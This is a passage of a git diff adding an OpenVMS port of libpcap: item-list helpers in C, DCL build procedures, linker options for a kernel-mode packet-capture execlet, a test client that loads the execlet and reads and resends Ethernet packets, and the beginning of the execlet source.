*)lil->lil$a_listadr + lil->lil$l_listlen; + lilitm->len = len + 4; // Includes len and tag! + lilitm->tag = tag; + memcpy((char *)&lilitm->val, value, len); + lil->lil$l_listlen = len + 4; // 4 is len+tag +} + +void add_lil_addr_value(LILDEF *lil, int len, int tag, char *value) +{ + LILITEM *lilitm; + char **foo; + char *tmp; + + lilitm = (LILITEM *) lil->lil$a_listadr + lil->lil$l_listlen; + lilitm->len = len + 4; // Includes len and tag! + lilitm->tag = tag; + foo = (char **) &lilitm->val; + *foo = (char *) &lilitm->val + sizeof(char *); + tmp = *foo; + memcpy(tmp, value, len); + lil->lil$l_listlen = len + 4 + sizeof(char *); // 4 is len+tag +} + +/* +** Ethernet device setup helper routines +*/ +char *add_int_value(char *buf, short code, int value) +{ + char *tmpptr = buf; + short *sptr; + int *iptr; + + sptr = (short *)tmpptr; + *sptr = (short) code; + tmpptr += 2; + iptr = (int *) tmpptr; + *iptr = 0; + *iptr = (int) value; + tmpptr += 4; + return tmpptr; +} + + +char *add_counted_value(char *buf, short code, short len, char *value) +{ + char *tmpptr = buf; + short *sptr; + + sptr = (short *)tmpptr; + *sptr = (short) code; + tmpptr += 2; + sptr = (short *) tmpptr; + *sptr = (short) len; + tmpptr += 2; + memcpy(tmpptr,value,len); + tmpptr += len; + return tmpptr; +} + + +int find_value(int buflen, char *buf, short code, char *retbuf) +{ + int i = 0; + int item; + char *tmpbuf = buf; + int value; + int status = 0; + + while (i < buflen) { + item = (tmpbuf[i] + (tmpbuf[i+1]<<8)); + if (0x1000 & item) { + if ((item & 0xFFF) == code) { + memcpy(retbuf, &tmpbuf[i+4],6); + status = 1; + break; + } + i += (tmpbuf[i+2] + (tmpbuf[i+3]<<8)) + 4; + } else { + // A value, ours? + if ((item & 0xFFF) == code) { + // Yep, return it + memcpy(retbuf, &tmpbuf[i+2], 4); + status = 1; + break; + } + i += 6; + } + } + return status; +} + + diff --git a/Pcap-VMS/pcap-vci/vms_build.com b/Pcap-VMS/pcap-vci/vms_build.com new file mode 100644 index 00000000..3780ed07 --- /dev/null +++ b/Pcap-VMS/pcap-vci/vms_build.com @@ -0,0 +1,36 @@ +$ if f$search("pcap.olb") .eqs. "" +$ then +$ libr/crea pcap.olb +$ endif +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] bpf_dump +$ libr/replace pcap bpf_dump +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] bpf_filter +$ libr/replace pcap bpf_filter +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] bpf_image +$ libr/replace pcap bpf_image +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] etherent +$ libr/replace pcap etherent +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] fad-gifc +$ libr/replace pcap fad-gifc +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] gencode +$ libr/replace pcap gencode +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] grammar +$ libr/replace pcap grammar +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] inet +$ libr/replace pcap inet +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] nametoaddr +$ libr/replace pcap nametoaddr +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] optimize +$ libr/replace pcap optimize +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] pcap +$ libr/replace pcap pcap +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] savefile +$ libr/replace pcap savefile +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] scanner +$ libr/replace pcap scanner +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] snprintf +$ libr/replace pcap snprintf +$ cc/name=(as_is,shortened)/debug/nomember_align/noopt/include=sys$disk:[] pcap-vms +$ libr/replace pcap pcap-vms +$ exit + diff --git a/Pcap-VMS/pcap-vci/vms_pcap.com_new b/Pcap-VMS/pcap-vci/vms_pcap.com_new new file mode 100644 index 00000000..3b474d45 --- /dev/null +++ b/Pcap-VMS/pcap-vci/vms_pcap.com_new @@ -0,0 +1,64 @@ +$ if f$search("pcap.olb") .eqs. "" +$ then +$ libr/crea pcap.olb +$ endif +$ if p1 .eqs. "DEBUG" +$ then +$ opt = "/debug/noopt" +$ else +$! Nodebug +$ opt = "/opt=(level=4)" +$ endif +$ cc/opt/name=(as_is, shortened)/nomember_align'opt/include=sys$disk:[] - + pcapvci+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap pcapvci +$ cc/opt/name=(as_is, shortened)/nomember_align'opt/include=sys$disk:[] - + vcmutil+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap vcmutil +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + bpf_dump+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap bpf_dump +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + bpf_filter+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap bpf_filter +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + bpf_image+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap bpf_image +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + etherent+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap etherent +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + fad-gifc+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap fad-gifc +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + gencode+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap gencode +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + grammar+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap grammar +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + inet+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap inet +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + nametoaddr+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap nametoaddr +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + optimize+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap optimize +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + pcap+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap pcap +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + savefile+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap savefile +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + scanner+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap scanner +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + snprintf+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap snprintf +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + pcap-vms+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap pcap-vms +$ exit + diff --git a/Pcap-VMS/pcapvcm/build_pcapvcm.com b/Pcap-VMS/pcapvcm/build_pcapvcm.com new file mode 100644 index 00000000..89dce2b1 --- /dev/null +++ b/Pcap-VMS/pcapvcm/build_pcapvcm.com @@ -0,0 +1,130 @@ +$!*************************************************************************** +$!* * +$!* Copyright (c) 2003 Hewlett-Packard Corporation * +$!* * +$!* All Rights Reserved. * +$!* Unpublished rights reserved under the copyright laws of the United * +$!* States. * +$!* * +$!* The software contained on this media is proprietary to and embodies * +$!* the confidential technology of Hewlett-Packard Corporation. * +$!* Possession, use, duplication or dissemination of the software and * +$!* media is authorized only pursuant to a valid written license from * +$!* Hewlett-Packard Corporation. * +$!* * +$!* RESTRICTED RIGHTS LEGEND Use, duplication, or disclosure by the U.S. * +$!* Government is subject to restrictions as set forth in Subparagraph * +$!* (c)(1)(ii) of DFARS 252.227-7013, or in FAR 52.227-19, as applicable. * +$!*************************************************************************** +$! This command procedure will build the PCAPVCM execlet. +$! The resulting PCAPVCM.EXE must be copied to the +$! SYS$LOADABLE_IMAGE directory for it to be useable. +$ +$! Define our location +$ +$ SAVE_DEFAULT = F$ENVIRONMENT("DEFAULT") +$ NEW_DEFAULT = F$ENVIRONMENT("PROCEDURE") +$ NEW_DEFAULT = F$PARSE(NEW_DEFAULT,,,"DEVICE") + - + F$PARSE(NEW_DEFAULT,,,"DIRECTORY") +$ SET DEFAULT 'NEW_DEFAULT' +$ +$ DEFINE PCAPVCM$OBJ 'NEW_DEFAULT' +$ +$! Assemble the source +$ +$ MACRO/MIGRATE/NOTIE/list/machine PCAPVCM_INIT + SYS$LIBRARY:ARCH_DEFS.MAR + - + SYS$LIBRARY:LIB.MLB/LIB +$ MACRO/MIGRATE/NOTIE/list/machine VCI_JACKET + SYS$LIBRARY:ARCH_DEFS.MAR + - + SYS$LIBRARY:LIB.MLB/LIB +$ CC/INSTRUCTION=NOFLOAT/EXTERN=STRICT_REFDEF/NAMES=UPPER/list/machine - + PCAPVCM + SYS$LIBRARY:SYS$LIB_C.TLB/LIB/POINTER_SIZE=SHORT/diag +$ CC/INSTRUCTION=NOFLOAT/EXTERN=STRICT_REFDEF/NAMES=UPPER/list/machine - + VCMUTIL + SYS$LIBRARY:SYS$LIB_C.TLB/LIB/pointer_size=short +$ +$! Create a little object library, to make linking easier. +$ +$ IF F$SEARCH("PCAPVCM.OLB") .EQS. "" +$ THEN +$ LIBRARY/CREATE/OBJECT PCAPVCM +$ LIBRARY/OBJECT/INSERT PCAPVCM PCAPVCM_INIT,PCAPVCM,vci_jacket,vcmutil +$ ELSE +$ LIBRARY/OBJECT/REPLACE PCAPVCM PCAPVCM_INIT,PCAPVCM,vci_jacket,vcmutil +$ ENDIF +$ +$! Link it +$ LINK/NOTRACE/NOUSERLIB/MAP=pcapvcm/FULL/NOSYSLIB/NOSYSSHR - + /SHARE - + /NATIVEONLY - + /BPAGE=14/NOTRACEBACK/NODEMAND_ZERO - + /SECTION_BINDING - + /SYSEXE=SELECTIVE - + /EXE=PCAPVCM.EXE - + SYS$INPUT/OPT + +SYMBOL_TABLE=GLOBALS + +! +vector_table = sys$share:sys$public_vectors.exe +! +! Ensure fixups are done before our initialization routines are called +! +ALPHA$LIBRARY:STARLET/INCLUDE=(SYS$DOINIT,SYS$SSDEF) +! +PCAPVCM$OBJ:PCAPVCM/INCLUDE=(PCAPVCM_INIT, PCAPVCM, VCI_JACKET, VCMUTIL) +SYS$LIBRARY:VMS$VOLATILE_PRIVATE_INTERFACES/INCLUDE=(BUGCHECK_CODES) +! +CASE_SENSITIVE=YES +! +! Mess up psect attributes, I'm slight;y rusty on this and have +! missed some... so do not try to unload the execlet => crash +! +PSECT_ATTR=$CODE, PIC,CON,REL,GBL,NOSHR, EXE,NOWRT,NOVEC,MOD +PSECT_ATTR=$CODE$, PIC,CON,REL,GBL,NOSHR, EXE,NOWRT,NOVEC,MOD +! +PSECT_ATTR=$$$100_DATA, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$LINK$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$LINKAGE$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$LINKAGE, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$DATA$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$NONPAGED_DATA, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$LITERAL$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$READONLY$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$BSS$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +! +PSECT_ATTR=EXEC$INIT_LINKAGE, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_000, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_001, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_002, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_CODE, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_SSTBL_000, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_SSTBL_001, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_SSTBL_002 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +! +! Collect all the psects into clusters +! +COLLECT=NONPAGED_CODE/ATTRIBUTES=RESIDENT, $CODE, - + $CODE$ +COLLECT=NONPAGED_DATA/ATTRIBUTES=RESIDENT, $$$100_DATA, - + $LINK$, - + $LINKAGE$, - + $LINKAGE, - + $DATA$, - + $LITERAL$, - + $READONLY$, - + $BSS$, - + EXEC$NONPAGED_DATA +COLLECT=INIT/ATTRIBUTES=INITIALIZATION_CODE, EXEC$INIT_LINKAGE, - + EXEC$INIT_000, - + EXEC$INIT_001, - + EXEC$INIT_002, - + EXEC$INIT_CODE, - + EXEC$INIT_SSTBL_000, - + EXEC$INIT_SSTBL_001, - + EXEC$INIT_SSTBL_002 +$ +$ WRITE SYS$OUTPUT "" +$ WRITE SYS$OUTPUT "To use the PCAPVCM.EXE execlet you must copy it to" +$ WRITE SYS$OUTPUT "the SYS$LOADABLE_IMAGES directory." +$ WRITE SYS$OUTPUT "" +$ SET DEFAULT 'SAVE_DEFAULT' +$ EXIT diff --git a/Pcap-VMS/pcapvcm/pcap_client.c b/Pcap-VMS/pcapvcm/pcap_client.c new file mode 100644 index 00000000..261e26f2 --- /dev/null +++ b/Pcap-VMS/pcapvcm/pcap_client.c @@ -0,0 +1,432 @@ +#pragma module pcap_client "X-1" +/* + ***************************************************************************** + * + * Copyright © 1996 Digital Equipment Corporation. + * All rights reserved. + * + * Redistribution and use in source and binary forms are permitted + * provided that the above copyright notice and this paragraph are + * duplicated in all such forms and that any documentation, + * advertising materials, and other materials related to such + * distribution and use acknowledge that the software was developed + * by Digital Equipment Corporation. The name of the + * Corporation may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED + * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + ***************************************************************************** + * + * Important Note: + * + * This coding example uses privileged OpenVMS interfaces. + * OpenVMS does not guarantee that these interfaces will + * be supported indefinitely, and may change these interfaces + * without prior notice. + * + ***************************************************************************** + +*/ + + + +/* Define data structures and constants */ + +#include /* Descriptors */ +#include /* Loaded image data block */ +#include /* Logical names */ +#include /* Linkage pairs */ +#include /* System service proto-types */ +#include /* System service status codes */ +#include +#include /* CRTL I/O */ +#include /* CTRL strings */ +#include +#include + +#include "pcapvcm.h" + +typedef struct lkpdef LKP; + +#pragma member_alignment __save +#pragma nomember_alignment +typedef struct _eth_header { + unsigned char da[6]; + unsigned char sa[6]; + unsigned char proto[2]; + unsigned char data[2048]; +} ETH_HEADER; + +#pragma member_alignment __restore + +typedef struct _ref_handle /* Dynamic loader reference handle */ +{ + void *base_addr; + LDRIMG *ldrimg_ptr; + int seq_num; +} REF_HANDLE; + + +/* Define special proto-types for the loader routines we need */ + +extern int ldr$load_image (struct dsc$descriptor_s *execlet_name, int flags, + REF_HANDLE *reference_handle); +extern int ldr$ref_info (struct dsc$descriptor_s *execlet_name, + REF_HANDLE *reference_handle); +extern int ldr$unload_image (struct dsc$descriptor_s *execlet_name, + REF_HANDLE *reference_handle); + + +/* Define proto-types for Kernel routines */ +int load_execlet(); +int unload_execlet(); + +/* Global data */ +PCAPVCM *pcapvcm; +REF_HANDLE reference_handle; /* Dynamic loader ref handle */ +void *rtnptr = 0; +$DESCRIPTOR(execlet_name, "PCAPVCM"); +int is_loaded = 0; + + +#pragma __required_pointer_size __save +#pragma __required_pointer_size __long + +int get_packet(VCRPLANDEF *vcrp, ETH_HEADER **hdrp) +{ + VCRPDEF *vcrpbase; + uint64 boff; + int len; + + vcrpbase = (VCRPDEF *) vcrp; + boff = vcrpbase->vcrp$l_boff; + len = vcrpbase->vcrp$l_bcnt; + *hdrp = (ETH_HEADER *) (((char *) vcrp) + boff); + + return len; +} + + +int parse_vcrp(VCRPLANDEF *vcrp) +{ + int status; + VCRPDEF *vcrpbase; + ETH_HEADER *hdr; + uint64 boff; + uint64 len; + uint64 haddr; + uint64 rstat; + uint32 size; + char *data; + uint64 format; + uint64 dest; + + vcrpbase = (VCRPDEF *) vcrp; + size = vcrpbase->vcrp$w_size; + rstat = vcrpbase->vcrp$q_request_status; + haddr = vcrp->vcrp$a_lan_r_header; + boff = vcrpbase->vcrp$l_boff; + format = vcrp->vcrp$l_lan_pkformat; + dest = vcrp->vcrp$q_lan_t_dest; + len = vcrpbase->vcrp$l_bcnt; + hdr = (ETH_HEADER *) (((char *) vcrp) + boff); +// data = vcrp->vcrp$b_lan_filler4; + return status; + +} +int build_vcrp(VCRPLANDEF *vcrp, int hdrlen, int len, char *packet) +{ + int status; + VCRPDEF *base; + char *packptr; + char *rethdr; + int pdulen; + + base = (VCRPDEF *) vcrp; +// status = init_transmit_vcrp(vcrp); + packptr = (char *) vcrp + VCRP$T_LAN_DATA + LAN$C_MAX_HDR_SIZE; + + pdulen = (len-hdrlen) + 16; + base->vcrp$l_boff = (char *) packptr - (char *) base; + base->vcrp$l_bcnt = pdulen; + memcpy(&vcrp->vcrp$q_lan_t_dest, packet, 6); + packptr = (char *) packptr + 16; + memcpy(packptr, (packet+14), len-14); + + return status; + +} + + +#pragma __required_pointer_size __restore + + +/* +**++ +** Main - Get us started +** +** Functional description: +** +** This routine exists to simply get us into Kernel mode to load the +** execlet. +** +** Calling convention: +** +** main() +** +** Input parameters: +** +** None +** +** Output parameters: +** +** None +** +** Return value: +** +** Various SS$_xxxx +** +** Environment: +** +** User mode. +** +**-- +*/ +int main() +{ + int status; + uint64 arglist[10]; + uint64 lstat; + int p2len; + int packlen; + int hdrlen; + ETH_HEADER *packet; + char sa[6] = {0xaa,0x00,0x2b,0x99,0x99,0x99}; + char pty[2] = {0x08,0x00}; + VCRPLANDEF *vcrp; + char vcrpbuff[4096]; +#pragma __required_pointer_size __save +#pragma __required_pointer_size __long + char vcrpbuf[4096]; + VCRPLANDEF *vcrpptr; + VCMCTX *vcmctx; + char *rawpackptr; + char devnam[128]; + char p2buf[1024]; + char hdr[128]; + char *p2ptr; + char *tmpptr; + int q_stat[4]; +#pragma __required_pointer_size __restore + + /* Call kernel mode routine to load execlet and read symbol vector */ + arglist[0] = 0; + status = sys$cmkrnl(load_execlet,arglist); + + if (status & SS$_NORMAL) + { + printf("Execlet loaded\n"); + } + else + { + printf("Status from load_execlet = %x.\n",status); + } + // Allocate a port + arglist[0] = 1; + arglist[1] = &vcmctx; + status = sys$cmkrnl_64(pcapvcm->alloc_port, arglist); + + // Now get the devices + tmpptr = &devnam[0]; + arglist[0] = 2; + arglist[1] = vcmctx; + arglist[2] = tmpptr; + status = sys$cmkrnl_64(pcapvcm->get_device, arglist); + + // Create a port with this device + arglist[0] = 2; + arglist[1] = vcmctx; + arglist[2] = tmpptr; + status = sys$cmkrnl_64(pcapvcm->create_port, arglist); + + // Populate P2 buffer + p2ptr = &p2buf[0]; + memset(p2ptr, 0, 1024); + ADD_INT_VAL(p2ptr, NMA$C_PCLI_FMT, NMA$C_LINFM_ETH); + ADD_INT_VAL(p2ptr, NMA$C_PCLI_PTY, *(int *)pty); + ADD_INT_VAL(p2ptr, NMA$C_PCLI_PAD, NMA$C_STATE_OFF); + ADD_INT_VAL(p2ptr, NMA$C_PCLI_PRM, NMA$C_STATE_ON); + ADD_INT_VAL(p2ptr, NMA$C_PCLI_CCA, NMA$C_STATE_ON); + p2len = p2ptr - &p2buf[0]; + arglist[0] = 3; + arglist[1] = vcmctx; + arglist[2] = p2len; + arglist[3] = &p2buf[0]; + status = sys$cmkrnl_64(pcapvcm->enable_port, arglist); + + if (!$VMS_STATUS_SUCCESS(status)) { + arglist[0] = 2; + arglist[1] = vcmctx; + arglist[2] = q_stat; + status = sys$cmkrnl_64(pcapvcm->get_mgm_error, arglist); + } else { + arglist[0] = 1; + arglist[1] = vcmctx; +// status = sys$cmkrnl_64(pcapvcm->disable_port, arglist); + } + + // Read a packet + vcrpptr = &vcrpbuf[0]; + memset(vcrpptr,0, 4096); + arglist[0] = 3; + arglist[1] = vcmctx; + arglist[2] = 4096; + arglist[3] = vcrpptr; + status = sys$cmkrnl_64(pcapvcm->read_packet, arglist); + + status = parse_vcrp(vcrpptr); + packlen = get_packet(vcrpptr, &packet); + rawpackptr = &packet->da[0]; + + // Build us a header + arglist[0] = 3; + arglist[1] = vcmctx; + arglist[2] = 128; + arglist[3] = &hdr[0]; + hdrlen = sys$cmkrnl_64(pcapvcm->build_header, arglist); + + // Put in a SA in packet + memcpy(&packet->sa[0], sa, 6); + + vcrp = &vcrpbuff[0]; + status = build_vcrp(vcrp, 14, packlen, rawpackptr); + + arglist[0] = 4; + arglist[1] = vcmctx; + arglist[2] = 14; + arglist[3] = packlen; + arglist[4] = rawpackptr; + status = sys$cmkrnl_64(pcapvcm->send_packet, arglist); + + arglist[0] = 1; + arglist[1] = vcmctx; + status = sys$cmkrnl_64(pcapvcm->disable_port, arglist); + + arglist[0] = 4; + arglist[1] = vcmctx; + arglist[2] = 14; + arglist[3] = packlen; + arglist[4] = packet; + status = sys$cmkrnl_64(pcapvcm->send_packet, arglist); + + // Read another packet + arglist[0] = 3; + arglist[1] = vcmctx; + arglist[2] = 4098; + arglist[3] = vcrpptr; + status = sys$cmkrnl_64(pcapvcm->read_packet, arglist); + + status = parse_vcrp(vcrpptr); + + arglist[0] = 1; + arglist[1] = vcmctx; + status = sys$cmkrnl_64(pcapvcm->delete_port, arglist); + + arglist[0] = 1; + arglist[1] = vcmctx; + status = sys$cmkrnl_64(pcapvcm->free_port, arglist); + +// arglist[0] = 0; +// status = sys$cmkrnl(unload_execlet, arglist); + + return (status); + +} + + +/* +**++ +** load_execlet - Load the specified execlet +** +** Functional description: +** +** This routine is called in Kernel Mode and will load the specified +** execlet. +** +** Calling convention: +** +** load_execlet() +** +** Input parameters: +** +** None +** +** Output parameters: +** +** None +** +** Return value: +** +** Various SS$_xxx +** +** Environment: +** +** Kernel mode +** +**-- +*/ +int load_execlet () +{ + int status; + LKP *symvec; /* Pointer to symbol vector */ + int (*getContext)(PCAPVCM **); + + /* Try referencing execlet first, in case it is already loaded */ + status = LDR$REF_INFO (&execlet_name, &reference_handle); + + /* If error, must not be loaded yet */ + if (status != SS$_NORMAL) + { + /* Load execlet */ + status = LDR$LOAD_IMAGE (&execlet_name, LDR$M_UNL, &reference_handle); + } + + if ($VMS_STATUS_SUCCESS(status)) { + // Indicate that we've loaded the execlet + is_loaded = 1; + + // Get the shared context. We built the execlet so that the address + // of the routine that does this is at home base... + rtnptr = *(void **)reference_handle.ldrimg_ptr->ldrimg$l_nonpag_w_base; + if (rtnptr) { + getContext = (int (*)())rtnptr; + status = (*getContext)(&pcapvcm); + } + } + return(status); + +} + + +// +// Unload the execlet +// +int unload_execlet () +{ + int status; + + if (is_loaded) { + status = LDR$REF_INFO (&execlet_name, &reference_handle); + if ($VMS_STATUS_SUCCESS(status)) { + status = LDR$UNLOAD_IMAGE(&execlet_name, &reference_handle); + } + is_loaded = 0; + } else { + status = SS$_ACCVIO; + } + return status; +} + + diff --git a/Pcap-VMS/pcapvcm/pcap_client.com b/Pcap-VMS/pcapvcm/pcap_client.com new file mode 100644 index 00000000..e5dc2d50 --- /dev/null +++ b/Pcap-VMS/pcapvcm/pcap_client.com @@ -0,0 +1,21 @@ +$! This command procedure will compile and link the image +$! loader needed to load IP_VCM.EXE. +$ +$ set noon +$! ON WARNING THEN GOTO CLEANUP +$ +$ SAVE_DEFAULT = F$ENVIRONMENT("DEFAULT") +$ NEW_DEFAULT = F$ENVIRONMENT("PROCEDURE") +$ NEW_DEFAULT = F$PARSE(NEW_DEFAULT,,,"DEVICE") + - + F$PARSE(NEW_DEFAULT,,,"DIRECTORY") +$ SET DEFAULT 'NEW_DEFAULT' +$ +$ CC/debug/noopt PCAP_CLIENT/list/machine + - + SYS$LIBRARY:SYS$LIB_C.TLB/LIB + - + SYS$LIBRARY:SYS$STARLET_C.TLB/LIB +$ +$ LINK/SYSEXE/debug pcap_client,vcmutil/map +$ +$ CLEANUP: +$ +$ SET DEFAULT 'SAVE_DEFAULT' diff --git a/Pcap-VMS/pcapvcm/pcapvcm.c b/Pcap-VMS/pcapvcm/pcapvcm.c new file mode 100644 index 00000000..14340763 --- /dev/null +++ b/Pcap-VMS/pcapvcm/pcapvcm.c @@ -0,0 +1,876 @@ +#pragma module PCAPVCM "X-1" +#pragma code_psect "EXEC$NONPAGED_CODE" +#pragma linkage_psect "EXEC$NONPAGED_LINKAGE" + +/* pcapvcm.c - packet capturing execlet + + Copyright (c) 2003, Anders "ankan" Ahgren + + Permission is hereby granted, free of charge, to any person obtaining a + copy of this software and associated documentation files (the "Software"), + to deal in the Software without restriction, including without limitation + the rights to use, copy, modify, merge, publish, distribute, sublicense, + and/or sell copies of the Software, and to permit persons to whom the + Software is furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + ROBERT M SUPNIK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER + IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +*/ +//*************************************************************************** +// +// +// FACILITY: +// +// Dynamic Loadable Execlet for PCAP +// +// +// ABSTRACT: +// +// This module implements a VCM for the LAN driver +// +// +// AUTHOR: +// +// Ankan +// +// CREATION DATE: 21-Mar-2003 +// +// DESIGN ISSUES: +// +// All data passed to this execlet is assumed to be correct. +// No probes/range checks are made. Any failliure to read/write +// data passed into the execlet will cause a system crash. +// +// ***************************************************************************** +// * +// * Important Note: +// * +// * This code uses privileged OpenVMS interfaces. +// * OpenVMS does not guarantee that these interfaces will +// * be supported indefinitely, and may change these interfaces +// * without prior notice. +// * +// ***************************************************************************** +// +// +// REVISION HISTORY: +// +// X-1 Ankan Anders Ahgren 21-Mar-2003 +// Initial version. +// + +// +// Imported definitions +// +#define __NEW_STARLET 1 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "pcapvcm.h" + +// +// Load/unload stuff... +// +int pcap$vcm_init( LDRIMG *ini_image_block, + INIRTN *ini_flags_addr, + const char *ini_user_buffer ); +int pcap$vcm_unload(); + +// +// Execlet interface routine declarations +// +int pcap$vcm_get_context(PCAPVCM_64PP vcm); +int pcap$vcm_alloc_port(VCMCTX_64PP vcmctx); +int pcap$vcm_free_port(VCMCTX_64P vcmctx); +int pcap$vcm_getdevice(VCMCTX_64P vcmctx, CHAR_64P devnam); +int pcap$vcm_create_port(VCMCTX_64P vcmctx, CHAR_64P device); +int pcap$vcm_delete_port(VCMCTX_64P vcmctx); +int pcap$vcm_enable_port(VCMCTX_64P vcmctx, int p2len, CHAR_64P p2buf); +int pcap$vcm_disable_port(VCMCTX_64P vcmctx); +int pcap$vcm_get_mgm_error(VCMCTX_64P vcmctx, CHAR_64P error); +int pcap$vcm_get_last_error(VCMCTX_64P vcmctx); +int pcap$vcm_read_packet(VCMCTX_64P vcmctx, int len, CHAR_64P packet); +int pcap$vcm_send_packet(VCMCTX_64P vcmctx, int hdrlen, int len, + CHAR_64P rawpacket); +int pcap$vcm_build_header(VCMCTX_64P vcmctx, int len, CHAR_64P header); +int pcap$vcm_get_statistics(VCMCTX_64P vcmctx, CHAR_64P stats); + +// +// Special linkage +// +#define INIT001_ROUTINE pcap$vcm_init +#include init_rtn_setup + +// +// VCI callback routines. Not to funny, thse are needed because these routines +// are called via JSBs from the LAN driver (LAN.MAR). +// +/* Transmit Complete */ +#pragma linkage pcap_txLnkg = (parameters(r4,r3), preserved(r2,r4,r5), nopreserve(r0,r1)) +#pragma use_linkage pcap_txLnkg (pcap_txCompl) +void pcap_txCompl( VCIBDLLDEF *vcib, VCRPDEF *request ); + +/* PortMgmt Complete */ +#pragma linkage pcap_mgmLnkg = (parameters(r4,r3), preserved(r2,r4,r5), nopreserve(r0,r1)) +#pragma use_linkage pcap_mgmLnkg (pcap_mgmCompl) +void pcap_mgmCompl( 